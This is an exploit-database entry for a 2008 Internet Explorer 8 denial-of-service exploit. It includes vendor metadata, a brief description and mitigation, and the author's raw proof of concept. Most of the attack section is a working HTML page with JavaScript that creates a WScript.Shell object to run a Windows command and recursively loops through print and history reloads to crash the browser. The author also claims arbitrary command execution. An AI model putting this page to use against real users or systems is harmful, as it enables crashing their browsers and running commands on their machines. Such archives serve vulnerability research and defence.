Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit

vendor:

Internet Explorer 8

by:

Asheesh Kumar Mani Tripathi

8,8

CVSS

HIGH

Stack Based Overflow

119

CWE

Product Name: Internet Explorer 8

Affected Version From: Internet Explorer 8

Affected Version To: Internet Explorer 8

Patch Exists: Yes

Related CWE: N/A

CPE: a:microsoft:internet_explorer:8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit

The flaw exists within 'history go' ActiveX control which contains stack based overflow conditions. User interaction is required to exploit this vulnerability in that the target must visit a malicious web page.

Mitigation:

Update to the latest version of Internet Explorer 8 and ensure that all security patches are installed.

Source

Exploit-DB raw data:

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                      Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit
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                                                     by

                                            Asheesh Kumar Mani Tripathi


# code by Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company       aksitservices

# Credit by Asheesh Anaconda


#Download http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx
#Greets to Bhudeo Prasad for making shell script :)


#Background

Internet Explorer 8 is a popular internet browser. with lots of bugs .....:)

#Vulnerability
This bug is a typical result of multitudinous  loop.  
The flaw exists within "history go" ActiveX control which contains 
stack based overflow conditions.User interaction is required to 
exploit this vulnerability in that the target must visit a malicious 
web page.


#Impact

Attacker Can run any windows command ,consume lots of memory and able to crash your IE or make 
your system unaccessible,your work if any   might be lost

#Proof of concept
copy the code in text file and save as "asheesh.html" open in Internet Explorer 8

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                                                           asheesh.html
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<html>
<title>asheesh kumar mani tripathi</title>

<head>
<script type="text/javascript">
function sucks()
{

var shell=new ActiveXObject("WScript.Shell");
shell.Run("ipconfig", 1);

}

function asheesh()
{
sucks();
window.onerror=new Function("history.go(0)");
window.print();
asheesh();


}
asheesh();
</script>
</head>
<body onLoad="asheesh()"></body>

</html>


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#If you have any questions, comments, or concerns, feel free to contact me.